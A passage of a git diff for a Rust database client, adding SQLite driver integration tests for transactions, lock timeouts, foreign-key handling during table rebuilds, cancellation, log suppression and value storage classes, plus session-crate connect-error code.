+#[tokio::test] +async fn transaction_state_after_begin_in_transaction() { + let file = TestFile::new().await; + let connection = file.open().await; + apply(connection.as_ref(), &["CREATE TABLE t (a)"]).await.unwrap(); + let session = connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await + .unwrap(); + + let (begun, _) = run(session.as_ref(), "BEGIN; INSERT INTO t VALUES (1)").await; + let asked = session.transaction_state(call()).await.unwrap(); + let (committed, _) = run(session.as_ref(), "COMMIT").await; + + assert_eq!(begun.transaction_state, TransactionState::InTransaction); + assert_eq!(asked, TransactionState::InTransaction); + assert_eq!(committed.transaction_state, TransactionState::Idle); + assert_eq!(session.transaction_state(call()).await.unwrap(), TransactionState::Idle); + session.close().await; + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn begin_insert_big_select_commit_persists() { + let file = TestFile::new().await; + let connection = file.open().await; + apply(connection.as_ref(), &["CREATE TABLE t (a)"]).await.unwrap(); + let session = connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await + .unwrap(); + let limited = RunOptions::new(CancellationToken::new()).with_row_limit(RowLimit::new(10).unwrap()); + + run(session.as_ref(), "BEGIN; INSERT INTO t VALUES (1)").await; + let (big, collected) = run_with( + session.as_ref(), + "WITH RECURSIVE r(n) AS (SELECT 1 UNION ALL SELECT n + 1 FROM r WHERE n < 100000) SELECT n FROM r; INSERT INTO t VALUES (2)", + limited, + ) + .await; + let (committed, _) = run(session.as_ref(), "COMMIT").await; + + assert_eq!(big.end, RunEnd::Completed); + assert_eq!(collected.rows().len(), 10); + let finished: Vec<_> = collected + .events() + .into_iter() + .filter_map(|event| match event { + tablepro_core::ResultEvent::ResultSetFinished { truncation, .. } => Some(truncation), + _ => None, + }) + .collect(); + assert_eq!(finished, [Truncation::ReadPastLimit]); + assert_eq!(committed.end, RunEnd::Completed); + let persisted = query(connection.as_ref(), "SELECT count(*) FROM t").await; + assert_eq!( + persisted.rows[0][0], + Value::Int(2), + "the statement after the limited read did not land" + ); + session.close().await; + connection.close().await.unwrap(); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn session_read_concurrent_with_workspace_write_busy_or_commit_never_hangs() { + let file = TestFile::new().await; + let settings = WorkspaceSettings { + lock_timeout: Duration::from_millis(500), + ..WorkspaceSettings::workspace(false) + }; + let connection = connect(file.endpoint(), settings).await.unwrap(); + apply(connection.as_ref(), &["CREATE TABLE t (a)", "INSERT INTO t VALUES (1)"]) + .await + .unwrap(); + let session = connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await + .unwrap(); + // An open read transaction holds a shared lock until it ends. + run(session.as_ref(), "BEGIN; SELECT a FROM t").await; + + let started = Instant::now(); + let written = connection + .write_batch(&batch(WriteKind::RowChanges, &["INSERT INTO t VALUES (2)"]), call()) + .await; + let elapsed = started.elapsed(); + + let acceptable = match &written { + Ok(_) => true, + Err(DriverError::RolledBack { source, .. }) => matches!(**source, DriverError::Busy), + Err(DriverError::Busy) => true, + Err(_) => false, + }; + assert!(acceptable, "{written:?}"); + assert!(elapsed < Duration::from_secs(5), "the write took {elapsed:?}"); + run(session.as_ref(), "COMMIT").await; + let after = connection + .write_batch(&batch(WriteKind::RowChanges, &["INSERT INTO t VALUES (3)"]), call()) + .await; + assert!( + after.is_ok(), + "the connection is unusable after a busy commit: {after:?}" + ); + session.close().await; + connection.close().await.unwrap(); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn write_interrupt_before_commit_rolls_back() { + let file = TestFile::new().await; + let connection = file.open().await; + apply(connection.as_ref(), &["CREATE TABLE t (a)"]).await.unwrap(); + let cancel = CancellationToken::new(); + let stopper = cancel.clone(); + tokio::spawn(async move { + tokio::time::sleep(Duration::from_millis(300)).await; + stopper.cancel(); + }); + let slow = batch( + WriteKind::RowChanges, + &[ + "INSERT INTO t VALUES (1)", + "INSERT INTO t SELECT n FROM (WITH RECURSIVE r(n) AS (SELECT 1 UNION ALL SELECT n + 1 FROM r) SELECT n FROM r)", + ], + ); + + let written = connection.write_batch(&slow, CallOptions::new(None, cancel)).await; + + assert!( + matches!(&written, Err(DriverError::RolledBack { statement_index: 1, source }) if **source == DriverError::Cancelled), + "{written:?}" + ); + let rows = query(connection.as_ref(), "SELECT count(*) FROM t").await; + assert_eq!(rows.rows[0][0], Value::Int(0), "a stopped save left rows behind"); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn a_second_run_while_one_is_going_is_refused() { + let file = TestFile::new().await; + let connection = file.open().await; + let session = connection + .open_editor_session(EditorSessionOptions::default(), CancellationToken::new()) + .await + .unwrap(); + let cancel = CancellationToken::new(); + let first = run_with(session.as_ref(), UNBOUNDED, RunOptions::new(cancel.clone())); + let second = async { + tokio::time::sleep(Duration::from_millis(200)).await; + let refused = session + .run( + tablepro_core::UserSql::new("SELECT 1"), + RunOptions::new(CancellationToken::new()), + crate::support::Collected::default().sink(), + ) + .await; + cancel.cancel(); + refused + }; + + let ((summary, _), refused) = tokio::join!(first, second); + + assert!(matches!(refused, Err(DriverError::EditorSessionBusy)), "{refused:?}"); + assert_eq!(summary.end, RunEnd::Cancelled); + session.close().await; + assert_eq!(session.state(), EditorSessionState::Lost); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn stream_read_sends_every_row_and_refuses_writes() { + let file = TestFile::new().await; + let connection = file.open().await; + apply( + connection.as_ref(), + &[ + "CREATE TABLE t (a)", + "INSERT INTO t SELECT value FROM json_each('[1,2,3,4,5,6,7,8,9,10]')", + ], + ) + .await + .unwrap(); + let generated = crate::support::Collected::default(); + let written = crate::support::Collected::default(); + + let streamed = connection + .stream_read( + &ReadStatement::Generated(statement("SELECT a FROM t ORDER BY a")), + generated.sink(), + call(), + ) + .await + .unwrap(); + let refused = connection + .stream_read( + &ReadStatement::User(UserSql::new("SELECT 1; INSERT INTO t VALUES (11)")), + written.sink(), + call(), + ) + .await; + + assert_eq!(streamed.rows, 10); + assert_eq!(generated.rows().len(), 10); + assert!(matches!( + generated.events().first(), + Some(ResultEvent::ResultSetStarted { .. }) + )); + assert!(matches!( + generated.events().last(), + Some(ResultEvent::ResultSetFinished { + retained: 10, + truncation: Truncation::Complete, + .. + }) + )); + assert!( + matches!(&refused, Err(error) if error.category() == ErrorCategory::ReadOnly), + "{refused:?}" + ); + let rows = query(connection.as_ref(), "SELECT count(*) FROM t").await; + assert_eq!(rows.rows[0][0], Value::Int(10)); + connection.close().await.unwrap(); +} diff --git a/linux/crates/drivers/sqlite/tests/integration/support.rs b/linux/crates/drivers/sqlite/tests/integration/support.rs new file mode 100644 index 0000000000..46d6c14e4e --- /dev/null +++ b/linux/crates/drivers/sqlite/tests/integration/support.rs @@ -0,0 +1,153 @@ +//! What the SQLite integration cases share: a database file that exists +//! before the driver opens it, connecting, and running plain SQL. + +use std::path::{Path, PathBuf}; +use std::sync::{Arc, Mutex, PoisonError}; +use std::time::Duration; + +use async_trait::async_trait; +use drivers_sqlite::SqliteDriver; +use sqlx::Connection as _; +use sqlx::sqlite::{SqliteConnectOptions, SqliteConnection}; +use tablepro_core::meta::TableRef; +use tablepro_core::statement::{GuardedStatement, Statement, StatementBuilder}; +use tablepro_core::{ + CallOptions, ConnectEnvironment, ConnectOptions, ConnectTarget, Connection, DatabaseDriver, DriverError, + EditorSession, FileEndpoint, ForeignKeyMode, QueryResult, ResultEvent, ResultSink, RowLimit, RunOptions, + RunSummary, SinkFlow, UserSql, WorkspaceSettings, WriteBatch, WriteKind, WriteReport, +}; +use tablepro_test_support::conformance::test_liveness; +use tempfile::TempDir; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +/// A database file in a directory of its own, removed with it. +pub struct TestFile { + directory: TempDir, + pub path: PathBuf, +} + +impl TestFile { + pub async fn new() -> Self { + let directory = tempfile::tempdir().unwrap(); + let path = directory.path().join("test.sqlite3"); + create_database(&path).await.unwrap(); + Self { directory, path } + } + + pub fn directory(&self) -> &Path { + self.directory.path() + } + + pub fn endpoint(&self) -> FileEndpoint { + FileEndpoint::open_existing(self.path.clone()).unwrap() + } + + pub async fn open(&self) -> Arc { + connect(self.endpoint(), writable()).await.unwrap() + } +} + +/// Make an empty database the way another program would, so the +/// driver only ever opens a file that exists. +pub async fn create_database(path: &Path) -> Result<(), sqlx::Error> { + let options = SqliteConnectOptions::new().filename(path).create_if_missing(true); + SqliteConnection::connect_with(&options).await?.close().await +} + +pub fn writable() -> WorkspaceSettings { + WorkspaceSettings::workspace(false) +} + +pub fn options(endpoint: FileEndpoint, settings: WorkspaceSettings) -> ConnectOptions { + ConnectOptions { + target: ConnectTarget::File(endpoint), + workspace_settings: settings, + liveness: test_liveness(), + environment: ConnectEnvironment::new("test"), + } +} + +pub async fn connect(endpoint: FileEndpoint, settings: WorkspaceSettings) -> Result, DriverError> { + SqliteDriver + .connect(options(endpoint, settings), CancellationToken::new()) + .await +} + +/// A call bound loose enough for a loaded machine. +pub fn call() -> CallOptions { + CallOptions::new(Some(Instant::now() + Duration::from_secs(30)), CancellationToken::new()) +} + +pub fn statement(sql: &str) -> Statement { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + builder.finish() +} + +pub fn batch(kind: WriteKind, statements: &[&str]) -> WriteBatch { + let steps = statements + .iter() + .map(|sql| GuardedStatement::unguarded(statement(sql))) + .collect(); + WriteBatch::new(kind, TableRef::unqualified("t"), steps, ForeignKeyMode::Enforced) +} + +/// Run DDL and data changes through the save path. +pub async fn apply(connection: &dyn Connection, statements: &[&str]) -> Result { + connection + .write_batch(&batch(WriteKind::SchemaChanges, statements), call()) + .await +} + +pub async fn query(connection: &dyn Connection, sql: &str) -> QueryResult { + connection + .query_bound(&statement(sql), RowLimit::EDITOR_DEFAULT, call()) + .await + .unwrap() +} + +/// The events one editor run sent. +#[derive(Debug, Clone, Default)] +pub struct Collected(Arc>>); + +impl Collected { + pub fn sink(&self) -> Box { + Box::new(CollectingSink(self.clone())) + } + + pub fn events(&self) -> Vec { + self.0.lock().unwrap_or_else(PoisonError::into_inner).clone() + } + + pub fn rows(&self) -> Vec> { + self.events() + .into_iter() + .filter_map(|event| match event { + ResultEvent::Rows(rows) => Some(rows), + _ => None, + }) + .flatten() + .collect() + } +} + +struct CollectingSink(Collected); + +#[async_trait] +impl ResultSink for CollectingSink { + async fn accept(&mut self, event: ResultEvent) -> SinkFlow { + self.0.0.lock().unwrap_or_else(PoisonError::into_inner).push(event); + SinkFlow::Continue + } +} + +pub async fn run(session: &dyn EditorSession, sql: &str) -> (RunSummary, Collected) { + run_with(session, sql, RunOptions::new(CancellationToken::new())).await +} + +pub async fn run_with(session: &dyn EditorSession, sql: &str, options: RunOptions) -> (RunSummary, Collected) { + let collected = Collected::default(); + let summary = session.run(UserSql::new(sql), options, collected.sink()).await.unwrap(); + (summary, collected) +} diff --git a/linux/crates/drivers/sqlite/tests/integration/write_batch_foreign_keys.rs b/linux/crates/drivers/sqlite/tests/integration/write_batch_foreign_keys.rs new file mode 100644 index 0000000000..e1a0a85f07 --- /dev/null +++ b/linux/crates/drivers/sqlite/tests/integration/write_batch_foreign_keys.rs @@ -0,0 +1,192 @@ +//! A batch that runs with foreign keys suspended, the way a table +//! rebuild has to, and the write lock every batch takes first. + +use std::time::Duration; + +use sqlx::sqlite::{SqliteConnectOptions, SqliteConnection}; +use sqlx::{Connection as _, Executor as _}; +use tablepro_core::meta::TableRef; +use tablepro_core::statement::GuardedStatement; +use tablepro_core::{ + Connection, DriverError, ForeignKeyCheck, ForeignKeyMode, ServerCode, Value, WorkspaceSettings, WriteBatch, + WriteKind, +}; +use tokio::time::Instant; + +use crate::support::{TestFile, apply, call, connect, query, statement}; + +const PARENTS_AND_CHILDREN: [&str; 4] = [ + "CREATE TABLE parents (id INTEGER PRIMARY KEY)", + "CREATE TABLE children (id INTEGER PRIMARY KEY, parent INTEGER REFERENCES parents (id))", + "CREATE TABLE others (id INTEGER PRIMARY KEY, parent INTEGER REFERENCES parents (id))", + "INSERT INTO parents VALUES (1)", +]; + +fn suspended(statements: &[&str], checks: Vec) -> WriteBatch { + WriteBatch::new( + WriteKind::SchemaChanges, + TableRef::unqualified("children"), + statements + .iter() + .map(|sql| GuardedStatement::unguarded(statement(sql))) + .collect(), + ForeignKeyMode::SuspendedThenVerified { checks }, + ) +} + +/// Rows written while foreign keys are off are never checked, which is +/// how a file comes to hold violations already. +async fn with_existing_violations(connection: &dyn Connection) { + apply(connection, &PARENTS_AND_CHILDREN).await.unwrap(); + connection + .write_batch( + &suspended( + &[ + "INSERT INTO children VALUES (1, 1), (2, 99)", + "INSERT INTO others VALUES (1, 98)", + ], + Vec::new(), + ), + call(), + ) + .await + .unwrap(); +} + +async fn foreign_keys_on(connection: &dyn Connection) -> bool { + query(connection, "PRAGMA foreign_keys").await.rows[0][0] == Value::Int(1) +} + +#[tokio::test] +async fn suspended_batch_commits_with_preexisting_unrelated_violation() { + let file = TestFile::new().await; + let connection = file.open().await; + with_existing_violations(connection.as_ref()).await; + + // The rebuild a structure change runs: copy, drop, rename. + let rebuild = suspended( + &[ + "CREATE TABLE children_new (id INTEGER PRIMARY KEY, parent INTEGER REFERENCES parents (id), note TEXT)", + "INSERT INTO children_new (id, parent) SELECT id, parent FROM children", + "DROP TABLE children", + "ALTER TABLE children_new RENAME TO children", + ], + vec![ForeignKeyCheck::same_table(TableRef::unqualified("children"))], + ); + + let report = connection.write_batch(&rebuild, call()).await; + + assert!(report.is_ok(), "{report:?}"); + let rows = query(connection.as_ref(), "SELECT count(*) FROM children").await; + assert_eq!(rows.rows[0][0], Value::Int(2)); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn suspended_batch_rolls_back_introduced_violation_with_diagnostics() { + let file = TestFile::new().await; + let connection = file.open().await; + with_existing_violations(connection.as_ref()).await; + + let introducing = suspended( + &["INSERT INTO children VALUES (3, 77)"], + vec![ForeignKeyCheck::same_table(TableRef::unqualified("children"))], + ); + + let outcome = connection.write_batch(&introducing, call()).await; + + let Err(DriverError::RolledBack { + statement_index, + source, + }) = &outcome + else { + panic!("{outcome:?}"); + }; + assert_eq!(*statement_index, 1); + let DriverError::Server(diagnostics) = source.as_ref() else { + panic!("{source:?}"); + }; + assert_eq!( + diagnostics.code, + Some(ServerCode::Sqlite { + primary: 19, + extended: 787 + }) + ); + assert!( + diagnostics.message.contains("1 rows of children") && diagnostics.message.contains("parents"), + "{}", + diagnostics.message + ); + let rows = query(connection.as_ref(), "SELECT count(*) FROM children WHERE id = 3").await; + assert_eq!(rows.rows[0][0], Value::Int(0), "the row that broke the key was kept"); + connection.close().await.unwrap(); +} + +#[tokio::test] +async fn foreign_keys_pragma_is_on_after_commit_and_after_rollback() { + let file = TestFile::new().await; + let connection = file.open().await; + apply(connection.as_ref(), &PARENTS_AND_CHILDREN).await.unwrap(); + assert!(foreign_keys_on(connection.as_ref()).await); + + let committed = connection + .write_batch(&suspended(&["INSERT INTO children VALUES (1, 1)"], Vec::new()), call()) + .await; + let after_commit = foreign_keys_on(connection.as_ref()).await; + let failed = connection + .write_batch(&suspended(&["INSERT INTO nowhere VALUES (1)"], Vec::new()), call()) + .await; + let after_rollback = foreign_keys_on(connection.as_ref()).await; + + assert!(committed.is_ok(), "{committed:?}"); + assert!(after_commit, "foreign keys stayed off after a commit"); + assert!(matches!(failed, Err(DriverError::RolledBack { .. })), "{failed:?}"); + assert!(after_rollback, "foreign keys stayed off after a rollback"); + let enforced = apply(connection.as_ref(), &["INSERT INTO children VALUES (2, 404)"]).await; + assert!(enforced.is_err(), "a violating insert went through: {enforced:?}"); + connection.close().await.unwrap(); +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn write_batch_takes_write_lock_before_probe() { + let file = TestFile::new().await; + let settings = WorkspaceSettings { + lock_timeout: Duration::from_millis(300), + ..WorkspaceSettings::workspace(false) + }; + let connection = connect(file.endpoint(), settings).await.unwrap(); + apply( + connection.as_ref(), + &[ + "CREATE TABLE t (id INTEGER PRIMARY KEY, a TEXT)", + "INSERT INTO t VALUES (1, 'x')", + ], + ) + .await + .unwrap(); + let mut holder = SqliteConnection::connect_with(&SqliteConnectOptions::new().filename(&file.path)) + .await + .unwrap(); + holder.execute("BEGIN IMMEDIATE").await.unwrap(); + + let started = Instant::now(); + let outcome = apply( + connection.as_ref(), + &["UPDATE t SET a = 'y' WHERE id = 1", "INSERT INTO t VALUES (2, 'z')"], + ) + .await; + let waited = started.elapsed(); + holder.execute("ROLLBACK").await.unwrap(); + holder.close().await.unwrap(); + + assert!(matches!(outcome, Err(DriverError::Busy)), "{outcome:?}"); + assert!(waited >= Duration::from_millis(250), "busy after only {waited:?}"); + let rows = query(connection.as_ref(), "SELECT a FROM t ORDER BY id").await; + assert_eq!( + rows.rows, + vec![vec![Value::Text("x".to_owned())]], + "a write landed in part" + ); + connection.close().await.unwrap(); +} diff --git a/linux/crates/drivers/sqlite/tests/statement_logging.rs b/linux/crates/drivers/sqlite/tests/statement_logging.rs new file mode 100644 index 0000000000..5aa1b3aaa4 --- /dev/null +++ b/linux/crates/drivers/sqlite/tests/statement_logging.rs @@ -0,0 +1,101 @@ +//! sqlx logs every statement it runs, values included, and a slow one +//! as a warning. Neither may reach the app's logs from a user's +//! database, so the driver turns both off. +//! +//! This is a test binary of its own because it installs the global +//! subscriber: sqlx logs from the connection's worker thread, which a +//! thread-local subscriber never sees. + +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::sync::{Arc, OnceLock}; +use std::time::Duration; + +use drivers_sqlite::SqliteDriver; +use sqlx::Connection as _; +use sqlx::sqlite::{SqliteConnectOptions, SqliteConnection}; +use tablepro_core::statement::StatementBuilder; +use tablepro_core::{ + CallOptions, ConnectEnvironment, ConnectOptions, ConnectTarget, DatabaseDriver, FileEndpoint, LivenessPolicy, + RowLimit, WorkspaceSettings, +}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; +use tracing::Subscriber; +use tracing_subscriber::Layer; +use tracing_subscriber::layer::{Context, SubscriberExt}; + +/// Counts events whose target is sqlx's statement logger. +struct QueryEvents(Arc); + +impl Layer for QueryEvents { + fn on_event(&self, event: &tracing::Event<'_>, _context: Context<'_, S>) { + if event.metadata().target() == "sqlx::query" { + self.0.fetch_add(1, Ordering::SeqCst); + } + } +} + +fn recorded() -> Arc { + static RECORDED: OnceLock> = OnceLock::new(); + RECORDED + .get_or_init(|| { + let counter = Arc::new(AtomicUsize::new(0)); + let subscriber = tracing_subscriber::registry().with(QueryEvents(counter.clone())); + let _ = tracing::subscriber::set_global_default(subscriber); + counter + }) + .clone() +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn sqlite_emits_no_sqlx_query_events() { + let events = recorded(); + let directory = tempfile::tempdir().unwrap(); + let path = directory.path().join("logging.sqlite3"); + let create = SqliteConnectOptions::new().filename(&path).create_if_missing(true); + SqliteConnection::connect_with(&create) + .await + .unwrap() + .close() + .await + .unwrap(); + let options = ConnectOptions { + target: ConnectTarget::File(FileEndpoint::open_existing(path).unwrap()), + workspace_settings: WorkspaceSettings::workspace(false), + liveness: LivenessPolicy::DESKTOP, + environment: ConnectEnvironment::new("test"), + }; + let connection = SqliteDriver.connect(options, CancellationToken::new()).await.unwrap(); + let before = events.load(Ordering::SeqCst); + + // Grow the read until one run passes sqlx's one-second slow + // statement threshold, which is the warning most likely to leak. + let mut rows: u64 = 1_000_000; + let longest = loop { + let mut builder = StatementBuilder::new(); + builder.push_sql(&format!( + "WITH RECURSIVE r(n) AS (SELECT 1 UNION ALL SELECT n + 1 FROM r WHERE n < {rows}) SELECT count(*) FROM r" + )); + let started = Instant::now(); + connection + .query_bound( + &builder.finish(), + RowLimit::EDITOR_DEFAULT, + CallOptions::new(Some(Instant::now() + Duration::from_secs(60)), CancellationToken::new()), + ) + .await + .unwrap(); + let took = started.elapsed(); + if took >= Duration::from_millis(1200) || rows >= 1_000_000_000 { + break took; + } + rows *= 2; + }; + connection.close().await.unwrap(); + + assert!( + longest >= Duration::from_millis(1200), + "the slowest read took only {longest:?}" + ); + assert_eq!(events.load(Ordering::SeqCst), before, "sqlx logged a statement"); +} diff --git a/linux/crates/drivers/sqlite/tests/values.rs b/linux/crates/drivers/sqlite/tests/values.rs index def0e8ce61..eaf7739001 100644 --- a/linux/crates/drivers/sqlite/tests/values.rs +++ b/linux/crates/drivers/sqlite/tests/values.rs @@ -1,30 +1,99 @@ +//! A value reads back as the storage class it is stored in, and the +//! declared type decides only how the column presents it. + +use std::sync::Arc; +use std::time::Duration; + use drivers_sqlite::SqliteDriver; -use tablepro_core::value::Temporal; -use tablepro_core::{ConnectOptions, DatabaseDriver, Value}; +use sqlx::Connection as _; +use sqlx::sqlite::{SqliteConnectOptions, SqliteConnection}; +use tablepro_core::column::{BoolStorage, ColumnKind, TemporalZone}; +use tablepro_core::meta::TableRef; +use tablepro_core::statement::{GuardedStatement, StatementBuilder}; +use tablepro_core::{ + CallOptions, ConnectEnvironment, ConnectOptions, ConnectTarget, Connection, DatabaseDriver, FileEndpoint, + ForeignKeyMode, LivenessPolicy, QueryResult, RowLimit, Value, WorkspaceSettings, WriteBatch, WriteKind, +}; +use tempfile::TempDir; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; -async fn open() -> Result, tablepro_core::DriverError> { - let opts = ConnectOptions { - database: ":memory:".into(), - ..Default::default() +/// A database file that exists before the driver opens it, and the +/// connection to it. The helpers return their failures, because the +/// workspace lints deny `expect` outside a test body. +async fn open() -> Result<(TempDir, Arc), String> { + let directory = tempfile::tempdir().map_err(|error| error.to_string())?; + let path = directory.path().join("values.sqlite3"); + let create = SqliteConnectOptions::new().filename(&path).create_if_missing(true); + SqliteConnection::connect_with(&create) + .await + .map_err(|error| error.to_string())? + .close() + .await + .map_err(|error| error.to_string())?; + let options = ConnectOptions { + target: ConnectTarget::File(FileEndpoint::open_existing(path).map_err(|error| error.to_string())?), + workspace_settings: WorkspaceSettings::workspace(false), + liveness: LivenessPolicy::DESKTOP, + environment: ConnectEnvironment::new("test"), }; - SqliteDriver.connect(opts).await + let connection = SqliteDriver + .connect(options, CancellationToken::new()) + .await + .map_err(|error| error.to_string())?; + Ok((directory, connection)) +} + +fn call() -> CallOptions { + CallOptions::new(Some(Instant::now() + Duration::from_secs(30)), CancellationToken::new()) +} + +async fn apply(connection: &dyn Connection, statements: &[&str]) -> Result<(), String> { + let steps = statements + .iter() + .map(|sql| { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + GuardedStatement::unguarded(builder.finish()) + }) + .collect(); + let batch = WriteBatch::new( + WriteKind::SchemaChanges, + TableRef::unqualified("t"), + steps, + ForeignKeyMode::Enforced, + ); + connection + .write_batch(&batch, call()) + .await + .map(|_| ()) + .map_err(|error| error.to_string()) +} + +async fn query(connection: &dyn Connection, sql: &str) -> Result { + let mut builder = StatementBuilder::new(); + builder.push_sql(sql); + connection + .query_bound(&builder.finish(), RowLimit::EDITOR_DEFAULT, call()) + .await + .map_err(|error| error.to_string()) } #[tokio::test] async fn a_value_keeps_the_storage_class_it_was_written_with() { - let conn = open().await.expect("an in-memory database"); - conn.execute("CREATE TABLE loose (id integer primary key, anything integer)") - .await - .expect("the table"); - conn.execute( - "INSERT INTO loose (id, anything) VALUES (1, 42), (2, 'text in an integer column'), - (3, 1.5), (4, x'deadbeef'), (5, NULL)", + let (_directory, connection) = open().await.expect("a database file"); + apply( + connection.as_ref(), + &[ + "CREATE TABLE loose (id integer primary key, anything integer)", + "INSERT INTO loose (id, anything) VALUES (1, 42), (2, 'text in an integer column'), + (3, 1.5), (4, x'deadbeef'), (5, NULL)", + ], ) .await .expect("the rows"); - let q = conn - .query("SELECT anything FROM loose ORDER BY id") + let q = query(connection.as_ref(), "SELECT anything FROM loose ORDER BY id") .await .expect("the rows read back"); @@ -35,40 +104,55 @@ async fn a_value_keeps_the_storage_class_it_was_written_with() { assert_eq!(q.rows[2][0], Value::Float64(1.5)); assert_eq!(q.rows[3][0], Value::Bytes(vec![0xde, 0xad, 0xbe, 0xef])); assert_eq!(q.rows[4][0], Value::Null); + connection.close().await.expect("the close"); } #[tokio::test] -async fn a_declared_type_reads_the_value_it_names() { - let conn = open().await.expect("an in-memory database"); - conn.execute( - "CREATE TABLE typed ( - id integer primary key, - flag boolean, - day date, - moment datetime, - written date - )", +async fn a_declared_type_presents_the_value_without_changing_it() { + let (_directory, connection) = open().await.expect("a database file"); + apply( + connection.as_ref(), + &[ + "CREATE TABLE typed ( + id integer primary key, + flag boolean, + day date, + moment datetime, + written date + )", + "INSERT INTO typed (id, flag, day, moment, written) + VALUES (1, 1, '2024-06-15', '2024-06-15 13:45:30', 'not a date at all')", + ], ) .await .expect("the table"); - conn.execute( - "INSERT INTO typed (id, flag, day, moment, written) - VALUES (1, 1, '2024-06-15', '2024-06-15 13:45:30', 'not a date at all')", - ) - .await - .expect("the row"); - let q = conn - .query("SELECT flag, day, moment, written FROM typed") + let q = query(connection.as_ref(), "SELECT flag, day, moment, written FROM typed") .await .expect("the row read back"); let row = &q.rows[0]; - assert_eq!(row[0], Value::Bool(true)); - let day = chrono::NaiveDate::from_ymd_opt(2024, 6, 15).expect("a date"); - assert_eq!(row[1], Value::Date(Temporal::Finite(day))); - let moment = day.and_hms_opt(13, 45, 30).expect("a timestamp"); - assert_eq!(row[2], Value::Timestamp(Temporal::Finite(moment))); - // A date column holding text that is not a date keeps the text. + // The values are what is stored: an integer and three texts. Read + // as a date and written back, the text would come back respelt. + assert_eq!(row[0], Value::Int(1)); + assert_eq!(row[1], Value::Text("2024-06-15".into())); + assert_eq!(row[2], Value::Text("2024-06-15 13:45:30".into())); assert_eq!(row[3], Value::Text("not a date at all".into())); + // The kinds are what the declarations say, and they are what shows + // a checkbox and a date. + let kinds: Vec<&ColumnKind> = q.columns.iter().map(|column| &column.column_type.kind).collect(); + assert_eq!(kinds[0], &ColumnKind::Bool(BoolStorage::Integer)); + assert_eq!(kinds[1], &ColumnKind::Date); + assert!( + matches!( + kinds[2], + ColumnKind::Timestamp { + zone: TemporalZone::Naive, + .. + } + ), + "{:?}", + kinds[2] + ); + connection.close().await.expect("the close"); } diff --git a/linux/crates/session/Cargo.toml b/linux/crates/session/Cargo.toml index 481ca38057..e9c183cf1a 100644 --- a/linux/crates/session/Cargo.toml +++ b/linux/crates/session/Cargo.toml @@ -9,14 +9,30 @@ publish = false name = "tablepro_session" path = "src/lib.rs" +[features] +# FakeConnector and FakeCredentialSource for the tests of crates that +# start sessions. Never on in a release build. +fakes = ["dep:tablepro-test-support"] + [dependencies] +tablepro-core = { path = "../core" } +tablepro-net = { path = "../net" } +tablepro-ssh = { path = "../ssh" } +tablepro-storage = { path = "../storage" } +tablepro-test-support = { path = "../test-support", optional = true } futures.workspace = true +secrecy.workspace = true thiserror.workspace = true tokio = { workspace = true, features = ["rt", "sync", "time"] } tokio-util = { workspace = true, features = ["rt"] } tracing.workspace = true +uuid.workspace = true [dev-dependencies] +tablepro-driver-postgres = { path = "../drivers/postgres" } +tablepro-test-fixtures = { path = "../test-fixtures" } +tablepro-test-support = { path = "../test-support" } +tempfile.workspace = true tokio = { workspace = true, features = ["macros", "rt-multi-thread", "test-util", "sync"] } [lints] diff --git a/linux/crates/app/src/session/attempt_generation.rs b/linux/crates/session/src/connect/attempt_generation.rs similarity index 100% rename from linux/crates/app/src/session/attempt_generation.rs rename to linux/crates/session/src/connect/attempt_generation.rs diff --git a/linux/crates/session/src/connect/attempt_outcome.rs b/linux/crates/session/src/connect/attempt_outcome.rs new file mode 100644 index 0000000000..17eb047639 --- /dev/null +++ b/linux/crates/session/src/connect/attempt_outcome.rs @@ -0,0 +1,9 @@ +use super::{AttemptGeneration, ConnectError, PendingSession}; + +/// How one connect attempt ended, tagged with the attempt it was, so a +/// result that arrives after the user started another is discarded. +#[derive(Debug)] +pub struct AttemptOutcome { + pub generation: AttemptGeneration, + pub result: Result, +} diff --git a/linux/crates/app/src/session/attempt_ticket.rs b/linux/crates/session/src/connect/attempt_ticket.rs similarity index 100% rename from linux/crates/app/src/session/attempt_ticket.rs rename to linux/crates/session/src/connect/attempt_ticket.rs diff --git a/linux/crates/app/src/session/connect_attempts.rs b/linux/crates/session/src/connect/connect_attempts.rs similarity index 100% rename from linux/crates/app/src/session/connect_attempts.rs rename to linux/crates/session/src/connect/connect_attempts.rs diff --git a/linux/crates/session/src/connect/connect_error.rs b/linux/crates/session/src/connect/connect_error.rs new file mode 100644 index 0000000000..ff577bdc3a --- /dev/null +++ b/linux/crates/session/src/connect/connect_error.rs @@ -0,0 +1,87 @@ +use tablepro_core::{DriverError, ErrorCategory}; +use tablepro_storage::{CredentialError, KeyringError}; +use thiserror::Error; + +use crate::health::FailureCause; +use crate::runtime::TaskPanic; + +/// Why a connect attempt produced no session. +#[derive(Debug, Clone, PartialEq, Error)] +pub enum ConnectError { + #[error(transparent)] + Driver(#[from] DriverError), + #[error(transparent)] + Keyring(#[from] KeyringError), + #[error("the {0} driver is not available")] + UnknownDriver(String), + #[error("cancelled")] + Cancelled, + #[error("the connect task panicked: {0}")] + Panicked(TaskPanic), +} + +impl From for ConnectError { + fn from(error: CredentialError) -> Self { + match error { + CredentialError::Keyring(error) => Self::Keyring(error), + CredentialError::Cancelled => Self::Cancelled, + } + } +} + +impl ConnectError { + /// The cause to park on when retrying cannot help, `None` when a + /// retry on a backoff might. + /// + /// A missing or unreadable secret needs the user, so it parks as an + /// authentication failure; so does a file that is gone. + pub fn failure_cause(&self) -> Option { + match self { + Self::Driver(error) if error.category() == ErrorCategory::File => Some(FailureCause::Configuration), + Self::Driver(error) => FailureCause::of(error), + Self::Keyring(_) => Some(FailureCause::Authentication), + Self::UnknownDriver(_) => 